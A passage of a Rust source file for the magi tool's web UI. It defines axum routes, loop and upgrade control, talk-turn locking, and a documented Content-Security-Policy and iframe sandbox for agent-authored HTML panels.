magi/

web.rs

//! The web UI: magi's queue and run history, readable from a phone.
//!
//! The terminal is the wrong surface for the two things an operator actually
//! does between runs — file a task and check whether the last competition
//! landed. Both happen away from the desk, so they get an HTTP surface: a
//! handful of JSON routes and three embedded files.
//!
//! # One binary
//!
//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
//! There is no `--assets-dir` and no filesystem fallback, because a UI that
//! reads its own front end from disk breaks the moment the binary is copied
//! somewhere else — which is exactly what `cargo install magi-cli` does. No
//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
//! from this process.
//!
//! # No authentication
//!
//! There is none, deliberately, and the startup log says so. The tailnet is
//! the security boundary: `--bind auto` resolves to this machine's Tailscale
//! address, so the UI is reachable from the operator's own devices and from
//! nothing else. Anyone who can open the URL can file and hold tasks, which is
//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
//! is missing is loopback rather than every interface.
//!
//! # Change notification
//!
//! A phone must not poll a full run list on a mobile link. `GET /api/events`
//! is a server-sent stream carrying nothing but two revision numbers — the
//! newest modification time in the queue and under the runs directory — so the
//! client refetches only what moved. The browser's own SSE reconnection covers
//! a sleeping phone; there is no session to lose.
//!
//! # Reading state must never take the server down
//!
//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
//! detail route. No handler unwraps a filesystem or parse result: a single bad
//! file left by a killed run would otherwise turn the whole history into a
//! blank page.
//!
//! # Agent-authored HTML, rendered anyway
//!
//! Everything else here refuses to put API data into the document: `app.js`
//! builds nodes and sets `textContent`, and even an href from a run record is
//! laundered first. A confirmation panel breaks that rule on purpose - an
//! agent asking the owner to approve a merge needs a diff and a table, not one
//! line of prose - and the only reason it is acceptable is that the panel is
//! never part of this document.
//!
//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
//! `<iframe sandbox>` carrying exactly `allow-popups` and
//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
//! reach the parent document, the cookie jar or `localStorage`. On top of that
//! both routes send [`PANEL_CSP`], which denies every network destination, so a
//! panel cannot phone home through a remote image or a beacon either - the two
//! things it may load, images and inline CSS, are the two things free
//! formatting actually needs. Assets come from the question's own directory and
//! never from the network, and their content types come from a closed
//! whitelist, so an agent cannot get markup rendered outside the frame by
//! naming a file `.html`.
//!
//! # A conversation turn is not a filesystem read
//!
//! Every other route here is disk work, which is why [`blocking`] exists.
//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
//! and no executor thread, and concurrent turns on one talk are refused rather
//! than queued - see [`Ui::begin_talk_turn`].
//!
//! # The loop runs here
//!
//! `magi web` runs the queue loop in this process, started and stopped from
//! `/api/loop`. That is the point of the whole surface: a task filed from a
//! phone with nobody around to type `magi serve` is a task that sits in the
//! queue until someone walks back to the machine.
//!
//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
//! is no pid file of this module's own and nothing to supervise - a child
//! would need reaping, a second copy of the daemon's retry policy, and a
//! story for what happens when `magi web` dies with the loop still running.
//! `<home>/daemon.json`, which the loop itself writes, stays the only
//! cross-process signal, and it is how this process notices that the
//! operator's own `magi serve` already owns the loop and refuses to start a
//! second one that would fight it for claims.
//!
//! Stopping is cooperative and therefore not instant. A run in flight is
//! finished first, for the reason [`daemon::serve`] gives: killing the graph
//! mid-node leaves worktrees, branches and agent sessions behind and throws
//! away every agent call already paid for. `POST /api/loop` sets the flag and
//! answers immediately rather than waiting, because the wait is measured in
//! tens of minutes and the operator is holding a phone.

#[cfg(test)]
pub(crate) mod request_cost;

use std::collections::{HashMap, HashSet};
use std::convert::Infallible;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::path::{Path as FsPath, PathBuf};
use std::pin::Pin;
use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
use std::time::Duration;
use tokio::sync::Notify;

use anyhow::{Context, Result};
use axum::Json;
use axum::Router;
use axum::body::Bytes;
use axum::extract::rejection::JsonRejection;
use axum::extract::{DefaultBodyLimit, Path, Query, State};
use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
use axum::response::sse::{Event, KeepAlive, Sse};
use axum::response::{IntoResponse, Response};
use axum::routing::{get, post, put};
use jiff::Timestamp;
use serde::{Deserialize, Serialize};
use tokio_stream::StreamExt as _;
use tokio_stream::wrappers::ReceiverStream;

use crate::agent;
use crate::ask::{self, Answer, Question, Questions};
use crate::config::{AgentKind, Config, Update, UpdateMode};
use crate::md;
use crate::notices::{Notice, Notices};
use crate::persona;
use crate::persona_icon;
use crate::proc::Quiet as _;
use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
use crate::run::{RunState, RunStatus};
use crate::talk::{Talk, Talks};
use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};

/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
pub const DEFAULT_PORT: u16 = 7878;

/// How often the change stream restats the queue and the runs directory.
const POLL: Duration = Duration::from_secs(1);

/// Keep-alive interval for the change stream. Phones and intermediaries drop
/// an idle connection within a minute; a comment every fifteen seconds keeps
/// the stream alive without waking the radio often enough to matter.
const KEEPALIVE: Duration = Duration::from_secs(15);

/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
///
/// A fixed period this long would not track a `[update] interval` shorter
/// than itself: an operator who set `interval = "1m"` to make the deck
/// notice a release within a minute would still wait up to fifteen of them
/// for the next wake-up to even ask [`updater::Checker::should_check`].
/// [`recheck_poll_period`] scales the sleep with the configured interval
/// instead, and this is only its ceiling - reached at the default interval
/// of a day, where waking any more often would just spend cycles asking a
/// question that stays "no" for hours.
const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);

/// Floor on the same, so a very short `[update] interval` cannot spin
/// [`run_update_recheck`] in a near-busy loop.
const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);

/// Runs returned when the client does not ask, and the ceiling if it asks for
/// more. The cap exists because the list handler parses every `run.json` it
/// returns, and a phone cannot render two thousand rows anyway.
const LIST_DEFAULT: usize = 50;
/// Upper bound for `?limit=`.
const LIST_MAX: usize = 500;

/// Width of a generated task title, matching what the CLI uses.
const TITLE_MAX: usize = 72;

/// Per-file cap for an attachment upload.
///
/// Enforced twice: axum's own body limit is raised one byte above this, only
/// on the two attachment `POST` routes (see the router - every other route
/// keeps the crate-wide default), so an oversize body is still read far
/// enough to answer with our own message below rather than axum's generic
/// one; this constant is what that message and the boundary check actually
/// compare against.
const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;

/// The image types an attachment upload accepts - a closed whitelist, the
/// same posture [`asset_content_type`] takes for panel assets and for the
/// same reason: SVG is excluded on purpose because it is active content
/// (it may carry `<script>`) and not merely a picture, so it never appears
/// here even though `image/svg+xml` is a real IANA type.
const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];

/// Header carrying the operator's own filename. Free text, stored only for
/// display - see [`talk::Attachment::name`]'s doc on why it never
/// contributes to a path.
const FILENAME_HEADER: &str = "x-filename";

/// The header that makes serving agent-authored HTML defensible, sent by both
/// panel routes and asserted verbatim by a test.
///
/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
/// denies every fetch destination that is not re-allowed below, which is all of
/// them except images and fonts; `img-src 'self' data:` means an image comes
/// from magi's own asset route or from the document itself, so a panel cannot
/// signal an outside server by pointing an `<img>` at it - the classic
/// exfiltration channel for markup that cannot run script. `style-src
/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
/// free formatting means here and a style sheet cannot make a request that
/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
/// stops a form posting the owner's decision to a third party, and
/// `frame-ancestors 'self'` stops another site framing the panel to phish with
/// it.
///
/// There is deliberately no `script-src`: `default-src 'none'` already covers
/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
/// denied twice over. Weakening any directive here is the difference between a
/// panel the owner reads and a page that can talk to the tailnet, which is why
/// the test compares the whole string rather than looking for a substring.
const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
                         font-src data:; base-uri 'none'; form-action 'none'; \
                         frame-ancestors 'self'";

const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
const APP_CSS: &str = include_str!("../assets/ui/app.css");
const APP_JS: &str = include_str!("../assets/ui/app.js");

/// Which address to listen on.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Bind {
    /// Ask Tailscale, and fall back to loopback with a warning.
    Auto,
    /// An address the operator named.
    Addr(IpAddr),
}

impl std::str::FromStr for Bind {
    type Err = String;

    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
    /// the CLI can take `--bind` straight into it: the one spelling of
    /// `auto` that matters is the one this function knows.
    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
        if s.eq_ignore_ascii_case("auto") {
            return Ok(Self::Auto);
        }
        s.parse()
            .map(Self::Addr)
            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
    }
}

impl std::fmt::Display for Bind {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        match self {
            Self::Auto => f.write_str("auto"),
            Self::Addr(addr) => write!(f, "{addr}"),
        }
    }
}

/// How to serve.
#[derive(Debug, Clone)]
pub struct Opts {
    /// Address to listen on.
    pub bind: Bind,
    /// Port to listen on.
    pub port: u16,
    /// Repository used for tasks posted without one.
    pub repo: PathBuf,
    /// Print the URL on its own line for a caller that wants to hand it to a
    /// browser. magi never launches one itself.
    pub open: bool,
    /// Merge mode override for the loop this process runs (`none`, `local`,
    /// `pr`); `None` leaves it to each repository's own config.
    ///
    /// The same override `magi serve --merge` takes, and here for the same
    /// reason: `magi web` is now the thing that runs the loop, so an operator
    /// who wants this session's runs to open pull requests has to be able to
    /// say so without going back to the command they no longer type.
    pub merge: Option<String>,
}

impl Default for Opts {
    fn default() -> Self {
        Self {
            bind: Bind::Auto,
            port: DEFAULT_PORT,
            repo: PathBuf::from("."),
            open: false,
            merge: None,
        }
    }
}

/// Everything the handlers touch.
///
/// The queue, the runs directory and the magi home are fields rather than
/// process-global lookups so a test drives the real router against a temp
/// directory instead of the operator's own history.
#[derive(Debug, Clone)]
pub struct Ui {
    queue: Queue,
    questions: Questions,
    /// `<home>/notifications`, the bell's own store. Derived from `home` in
    /// [`Ui::new`] so no constructor signature had to grow.
    notices: Notices,
    talks: Talks,
    runs: PathBuf,
    home: PathBuf,
    repo: PathBuf,
    /// Where the runs' worktrees live, for the health disk figures.
    ///
    /// Spelled independently of [`crate::run::default_worktree_root`] so the
    /// test servers can point it at their own temp directory: the health route
    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
    /// be measuring the machine instead of the server.
    worktrees_root: PathBuf,
    /// Talks with an agent turn in flight right now.
    ///
    /// In-process and therefore not durable, which is correct: it guards
    /// against two taps on one phone and two phones on one tailnet, both of
    /// which are this process's own concurrency. A second `magi web` would not
    /// see it, and a second `magi web` on the same home is already a
    /// misconfiguration the queue's claims would catch first.
    talk_turns: Arc<Mutex<TalkTurns>>,
    /// Held by `POST /api/upgrade` from its busy-stage check until the first
    /// progress record is written, so two taps cannot both start an upgrade.
    /// After that `upgrade.json` carries the exclusion.
    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
    /// exclusion in memory for when `upgrade.json` could not be written.
    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
    /// Runs this process is resuming right now.
    ///
    /// Separate from `talk_turns` because a run and a talk are different
    /// things to hold, and a resume is far more expensive to start twice: it
    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
    /// guards two taps and two phones, which is this process's own
    /// concurrency.
    resuming: Arc<Mutex<HashSet<String>>>,
    /// The last scan of `[repos] roots`, and when it happened. Shared across
    /// requests so polling `GET /api/repos` repeatedly does not repeat the
    /// filesystem walk every time - see [`repos::Cache`].
    repos_cache: repos::Cache,
    /// The machine-config file the settings screen reads and writes: always
    /// [`Config::machine_layer`], never anything a request names. A field so a
    /// test can point it at its own temp directory instead of the operator's.
    machine_config: Option<PathBuf>,
    /// Merge mode override handed to the loop this process starts.
    merge: Option<String>,
    /// The loop this process is running, if it is running one.
    looping: Arc<Mutex<LoopState>>,
    /// How a loop is actually started.
    ///
    /// A field rather than a direct call to [`daemon::serve_until`], because
    /// the real loop resolves its queue and its status file through the
    /// process-global magi home and claims whatever it finds there. A test
    /// that started it would reach straight past its own temp directory into
    /// the operator's live queue, overwrite the status file of the `magi
    /// serve` that owns it, and spend real agent quota on a real competition.
    /// What the routes have to get right is the bookkeeping, so the tests
    /// drive the routes against a loop that only starts and stops; production
    /// is [`launch_daemon`] and nothing reassigns it.
    launch: Launch,
    /// A test-only stop point inside `talk_say`'s busy branch. See
    /// [`BusyQueueGate`].
    #[cfg(test)]
    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
}

/// A one-shot stop point the busy branch's queued-draft write can be made to
/// pause at, right before [`talk::queue`] runs.
///
/// Exists because a test cannot otherwise pin *when*, relative to the turn
/// slot being freed, that write happens: `blocking` runs it on
/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
/// already finished, so counting polls on the handler future to park it at a
/// particular `.await` is a guess about scheduling, not a fact about it - see
/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
/// used to do exactly that and paid for it with an occasional "async fn
/// resumed after completion" panic under load.
///
/// `reached` fires the instant the write is about to run, so a test waits for
/// a real event instead of a poll count. `release` then blocks the write
/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
/// rather than an async channel because this all happens inside the
/// `spawn_blocking` closure the write already runs on, off any runtime
/// worker, so blocking here costs nothing the write was not already going to
/// cost.
#[cfg(test)]
struct BusyQueueGate {
    reached: tokio::sync::oneshot::Sender<()>,
    release: std::sync::mpsc::Receiver<()>,
}

#[cfg(test)]
impl std::fmt::Debug for BusyQueueGate {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
    }
}

impl Ui {
    /// A server over explicit paths.
    pub fn new(
        queue: Queue,
        questions: Questions,
        talks: Talks,
        runs: PathBuf,
        home: PathBuf,
        repo: PathBuf,
    ) -> Self {
        Self {
            queue,
            questions,
            notices: Notices::at(home.join("notifications")),
            talks,
            runs,
            home,
            repo,
            // The default location, overridden by `with_worktrees_root` - a
            // builder step rather than a ninth parameter, for the reason
            // `with_merge` gives.
            worktrees_root: run::default_worktree_root(),
            talk_turns: Arc::default(),
            upgrade_gate: Arc::default(),
            upgrade_spawned: Arc::default(),
            resuming: Arc::default(),
            repos_cache: repos::Cache::new(),
            machine_config: Config::machine_layer(),
            merge: None,
            looping: Arc::default(),
            launch: launch_daemon,
            #[cfg(test)]
            busy_queue_gate: Arc::default(),
        }
    }

    /// The operator's own state: `<home>/queue`, `<home>/questions`,
    /// `<home>/talks`, `<home>/runs`.
    pub fn open(repo: PathBuf) -> Self {
        Self::new(
            Queue::open(),
            Questions::open(),
            Talks::open(),
            run::runs_root(),
            run::home(),
            repo,
        )
    }

    /// The merge mode the loop should use, as the command line gave it.
    ///
    /// A builder step rather than a seventh parameter on [`Ui::new`], because
    /// the override is a property of how this process was invoked and not of
    /// where its state lives - which is all the tests that build a `Ui` by
    /// hand are saying.
    #[must_use]
    pub fn with_merge(mut self, merge: Option<String>) -> Self {
        self.merge = merge;
        self
    }

    /// The machine-config file the settings screen writes, when it is not
    /// [`Config::machine_layer`] (tests).
    #[cfg(test)]
    #[must_use]
    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
        self.machine_config = path;
        self
    }

    /// Where the runs' worktrees live, when it is not the default.
    ///
    /// The health view sizes this directory, so a test that leaves it at the
    /// default would be measuring the operator's own machine.
    #[must_use]
    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
        self.worktrees_root = root;
        self
    }

    /// Point the loop at something other than [`launch_daemon`].
    ///
    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
    /// this crate may start the real loop.
    #[cfg(test)]
    #[must_use]
    fn with_launch(mut self, launch: Launch) -> Self {
        self.launch = launch;
        self
    }

    /// Install a [`BusyQueueGate`] for the next pass through the busy
    /// branch's queued-draft write, replacing any earlier one.
    ///
    /// A setter on `&self` rather than a `with_*` builder consumed once,
    /// because a test that drives the busy branch more than once (as
    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
    /// to build confidence the interleaving is handled deterministically and
    /// not just on a lucky run) needs a fresh channel pair each time, on the
    /// one `Ui` it already built its temp directories around.
    #[cfg(test)]
    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
        *self
            .busy_queue_gate
            .lock()
            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
    }

    /// The loop's state, for [`serve`]'s own way out.
    fn looping(&self) -> Arc<Mutex<LoopState>> {
        Arc::clone(&self.looping)
    }

    /// Start the loop in this process, or say who already has one.
    ///
    /// `foreign` is passed in rather than read here so that one request makes
    /// one judgement about who owns the loop: reading the status file again
    /// inside this function could refuse a start for a daemon the same
    /// response then reports as gone.
    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
        if let Some(other) = foreign {
            return Err(ApiError::conflict(format!(
                "{} is already running the loop, so this one will not start a \
                 second: two loops on one queue race for the same claims and \
                 burn the agent quota twice over. Stop it where it was \
                 started.",
                other.who()
            )));
        }
        let mut state = self.lock_loop();
        if state.live.as_ref().is_some_and(Live::alive) {
            return Err(ApiError::conflict(format!(
                "this magi web process (pid {}) is already running the loop",
                std::process::id()
            )));
        }

        let stop = daemon::Stop::new();
        // The CLI's own defaults for everything the UI has no opinion about:
        // one poll interval and one retry budget, so a loop started from a
        // phone behaves exactly like the `magi serve` it replaces.
        let opts = daemon::Opts {
            repo: self.repo.clone(),
            merge: self.merge.clone(),
            // Whatever this `Ui` already reports worktree sizes and folds
            // against (see `with_worktrees_root`) is what the loop it starts
            // must reclaim orphaned worktrees under too - two different
            // opinions about where the worktree bay is would leave the
            // janitor pass reclaiming a directory nothing else on this
            // process is even looking at.
            worktrees_root: Some(self.worktrees_root.clone()),
            ..daemon::Opts::default()
        };
        let launch = self.launch;
        let looping = Arc::clone(&self.looping);
        let handle = tokio::spawn({
            let opts = opts.clone();
            let stop = stop.clone();
            async move {
                let failure = match launch(opts, stop).await {
                    Ok(()) => None,
                    Err(e) => Some(format!("{e:#}")),
                };
                match &failure {
                    Some(why) => tracing::error!("the loop stopped: {why}"),
                    None => tracing::info!("the loop stopped"),
                }
                // Recorded by the task itself rather than reaped by whichever
                // request happens next, so `loop_rev` moves the moment the
                // loop ends and a phone with the change stream open learns
                // that it did. Clearing `live` drops this task's own handle,
                // which only detaches it, and is the last thing it does.
                let mut state = lock_or_recover(&looping);
                state.live = None;
                state.last_error = failure;
                state.rev += 1;
            }
        });
        tracing::info!(
            "the loop is now running in this process: repo {}, merge {}",
            opts.repo.display(),
            opts.merge.as_deref().unwrap_or("as the config says")
        );
        state.live = Some(Live { stop, handle, opts });
        // A fresh start is not the place to keep showing why the last one
        // died; the operator has read it and pressed the button anyway.
        state.last_error = None;
        state.rev += 1;
        Ok(())
    }

    /// Ask the loop to stop, without waiting for it to get there.
    ///
    /// Idempotent: a second tap on stop is not an error, because the first one
    /// leaves the loop running for as long as the run in flight takes and the
    /// operator has no way to tell a slow stop from a lost one.
    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
        if let Some(other) = foreign {
            return Err(ApiError::conflict(format!(
                "the loop belongs to {}, and this process cannot stop it - \
                 stop it where it was started. A button that silently did \
                 nothing would be worse than this refusal.",
                other.who()
            )));
        }
        let mut state = self.lock_loop();
        // An operator who stops the loop has decided it stays stopped, even
        // across an upgrade that was already in flight.
        if !park {
            state.resume_after_handover = false;
        }
        let Some(live) = state.live.as_ref() else {
            return Ok(());
        };
        // A park upgrades a stop that has already been asked for: the
        // operator who tapped "stop" and then realised the run has an hour
        // left must not have to restart the loop to change their mind.
        if live.stop.stopped() && (!park || live.stop.parking()) {
            return Ok(());
        }
        if park {
            live.stop.park(crate::run::ParkCause::Operator);
            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
        } else {
            live.stop.stop();
            tracing::info!("the loop was asked to stop; a run in flight is finished first");
        }
        state.rev += 1;
        Ok(())
    }

    /// The loop as both `/api/loop` and `/api/health` report it.
    ///
    /// `reading` is the caller's single read of `<home>/daemon.json`, because
    /// health answers with this view *and* the daemon object beside it: one
    /// read per response is what stops a single answer naming a foreign owner
    /// in one field and calling the loop free in the other.
    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
        let state = self.lock_loop();
        // A loop that panicked never recorded its own end, so the handle -
        // not the presence of the record - is what "running" means.
        let live = state.live.as_ref().filter(|live| live.alive());
        LoopView {
            running: live.is_some(),
            stopping: live.is_some_and(|live| live.stop.finishing()),
            parking: live.is_some_and(|live| live.stop.parking()),
            owned: live.is_some(),
            repo: live
                .map_or(&self.repo, |live| &live.opts.repo)
                .display()
                .to_string(),
            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
            last_error: state.last_error.clone(),
            daemon: DaemonView::of(reading),
        }
    }

    /// Start the loop in a successor whose predecessor was running one.
    ///
    /// Goes through the same path as the UI's start-loop action. A refusal
    /// (another process owns the loop) is logged and left in `last_error`;
    /// the loop then simply stays stopped.
    fn resume_after_handover(&self, resume: bool) -> bool {
        if !resume {
            return false;
        }
        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
        match self.start_loop(foreign) {
            Ok(()) => true,
            Err(e) => {
                let why = format!(
                    "the loop could not be resumed after the upgrade: {}",
                    e.message
                );
                tracing::warn!("{why}");
                let mut state = self.lock_loop();
                state.last_error = Some(why);
                state.rev += 1;
                false
            }
        }
    }

    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
        lock_or_recover(&self.looping)
    }

    /// Whether this process currently owns the agent turn for `id`.
    ///
    /// This deliberately describes only the in-memory claim made by
    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
    /// never persisted with a [`Talk`].
    fn is_thinking(&self, id: &str) -> bool {
        self.talk_turns
            .lock()
            .is_ok_and(|turns| turns.live.contains(id))
            // Another process (the CLI) can hold the turn through the
            // on-disk lease.
            || self.talks.turn_held(id)
    }

    /// Claim the right to run one turn in a talk, or report that it is busy.
    ///
    /// A talk is strictly turn-based: the agent is resumed with the
    /// conversation it already has, so two turns running at once would resume
    /// the same session twice and append their answers in whatever order the
    /// two CLIs finished in. The operator would come back to a transcript
    /// with two half-turns interleaved, which is unreadable and, worse,
    /// unfixable - there is no undo for a persisted turn.
    ///
    /// A busy result is queued as a durable draft by [`talk_say`], rather than
    /// starting a second CLI invocation for the same session.
    ///
    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
    /// taken to test-and-insert and released before the agent is spawned. The
    /// returned guard removes the id on drop, which is what makes a panicking
    /// handler or a phone that walks out of range leave the talk usable - axum
    /// drops the handler future when the client disconnects, and without the
    /// guard that talk would be wedged until the server restarted.
    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
        self.claim_talk_turn(id, false)
    }

    /// Claim a turn after durably queueing a draft, or notify its current
    /// owner that a drainer must recheck before it releases the slot.
    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
        self.claim_talk_turn(id, true)
    }

    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
        let mut live = self
            .talk_turns
            .lock()
            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
        if live.parking {
            if queued {
                // The draft is already durable; nothing may drain it until
                // the successor is up, so the caller sees a busy slot.
                *live.queued.entry(id.to_owned()).or_default() += 1;
                return Ok(None);
            }
            return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
        }
        let inserted = live.live.insert(id.to_owned());
        // The on-disk lease is the cross-process half of the gate. Taken
        // second, and undone if lost, so `live` never claims a turn the lease
        // refused.
        let lease = if inserted {
            match self.talks.claim_turn(id) {
                Ok(Some(lease)) => Some(lease),
                Ok(None) => {
                    live.live.remove(id);
                    None
                }
                Err(e) => {
                    live.live.remove(id);
                    return Err(ApiError::from(e));
                }
            }
        } else {
            None
        };
        if lease.is_none() {
            if queued {
                // A queued write has landed before this busy check.
                // `drain_loop` uses this generation to recheck after its
                // off-thread disk read, so it cannot release a turn between
                // this check and the write.
                *live.queued.entry(id.to_owned()).or_default() += 1;
            }
            return Ok(None);
        }
        Ok(Some(TalkTurnGuard {
            talk: id.to_owned(),
            turns: Arc::clone(&self.talk_turns),
            released: false,
            lease,
        }))
    }

    /// Decide whether a free talk may start a new immediate turn while its
    /// claim lock is held. A persisted draft without an owner is recovery
    /// state, not a busy turn: two simultaneous `/say` requests must both
    /// leave it untouched rather than one of them appending to it.
    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
        let mut live = self
            .talk_turns
            .lock()
            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
        // Same answer as a running turn: the text is queued as a draft.
        if live.parking || live.live.contains(id) {
            return Ok(TalkTurnStart::Busy);
        }
        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
            return Ok(TalkTurnStart::Foreign);
        };
        // A refused `Pending` below drops the lease again.
        let talk = self.talks.get(id).map_err(ApiError::from)?;
        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
            return Ok(TalkTurnStart::Pending);
        }
        live.live.insert(id.to_owned());
        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
            talk: id.to_owned(),
            turns: Arc::clone(&self.talk_turns),
            released: false,
            lease: Some(lease),
        }))
    }

    fn queued_generation(&self, id: &str) -> u64 {
        let live = self
            .talk_turns
            .lock()
            .unwrap_or_else(PoisonError::into_inner);
        live.queued.get(id).copied().unwrap_or(0)
    }

    /// The shared turn slots, for the upgrade hand-over to wait on.
    fn turns(&self) -> Arc<Mutex<TalkTurns>> {
        Arc::clone(&self.talk_turns)
    }

    /// Park the loop for an upgrade, and report the run that is parking.
    ///
    /// A park rather than a stop: a stop waits out the whole competition, and
    /// not waiting is the point of upgrading from a phone. `None` means
    /// nothing was in flight, which is worth saying so the operator is not
    /// told a run is parking when none is.
    fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
        let parking = {
            let mut state = self.lock_loop();
            // Decided here, before the park: by the time the handover fires
            // an idle loop has already seen the park and ended, so `live`
            // would read as "was never running". A loop the operator had
            // already stopped stays stopped.
            //
            // Sticky: a second upgrade request finds the loop already
            // stopping because of the first one's park, and must not read
            // that as the operator having stopped it. Only an explicit stop
            // or a failed update clears an earlier intent.
            let resume = state.resume_after_handover
                || state
                    .live
                    .as_ref()
                    .is_some_and(|live| live.alive() && !live.stop.stopped());
            state.resume_after_handover = resume;
            let Some(live) = state.live.as_ref() else {
                return Ok(None);
            };
            let busy = live.stop.busy_now();
            live.stop.park(crate::run::ParkCause::Upgrade {
                from: from.to_owned(),
                to: to.map(|t| t.trim_start_matches('v').to_owned()),
            });
            state.rev += 1;
            busy
        };
        Ok(if parking {
            // More than one run can be in flight now (see
            // `Config::daemon.max_concurrent_runs`); this answer names one of
            // them so the operator sees a park actually happened, not every
            // run a park now asks to stop at its next boundary.
            daemon::current_work(&self.home, jiff::Timestamp::now())
                .into_iter()
                .next()
                .map(|c| c.run)
        } else {
            None
        })
    }

    /// Claim a run for a resume, on the same reasoning as
    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
    /// disconnected phone does not wedge the run until the server restarts.
    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
        let mut live = self
            .resuming
            .lock()
            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
        if !live.insert(id.to_owned()) {
            return Err(ApiError::conflict(format!(
                "run {id} is already being resumed"
            )));
        }
        Ok(ResumeGuard {
            run: id.to_owned(),
            resuming: Arc::clone(&self.resuming),
        })
    }

    /// The router, with this state baked in.
    ///
    /// The three front-end files get one explicit route each rather than a
    /// path parameter, so there is no traversal surface to get wrong: the set
    /// of servable paths is the set written here. The asset route below is the
    /// one exception and the only place in this server where a client names a
    /// file; it is why [`valid_asset_name`] is checked before a path is built.
    pub fn router(self) -> Router {
        Router::new()
            .route("/", get(index))
            .route("/app.css", get(app_css))
            .route("/app.js", get(app_js))
            .route("/api/health", get(health))
            .route("/api/loop", get(loop_get).post(loop_post))
            .route("/api/upgrade", post(upgrade_post))
            .route("/api/runs", get(runs_list))
            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
            .route("/api/runs/{id}/report", get(run_report))
            .route("/api/runs/{id}/report.json", get(run_report_json))
            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
            .route("/api/runs/{id}/fold", post(run_fold))
            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
            .route("/api/runs/{id}/resume", post(run_resume))
            .route("/api/queue", get(queue_list))
            .route("/api/search", get(search_get))
            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
            .route("/api/stats", get(stats_get))
            .route("/api/repos", get(repos_list))
            .route("/api/settings", get(settings_get))
            .route("/api/settings/roles", put(settings_put_roles))
            .route("/api/queue/{id}/hold", post(queue_hold))
            .route("/api/queue/{id}/release", post(queue_release))
            .route("/api/queue/{id}/priority", post(queue_priority))
            .route("/api/queue/{id}/urgent", post(queue_urgent))
            .route("/api/queue/{id}/implementers", post(queue_implementers))
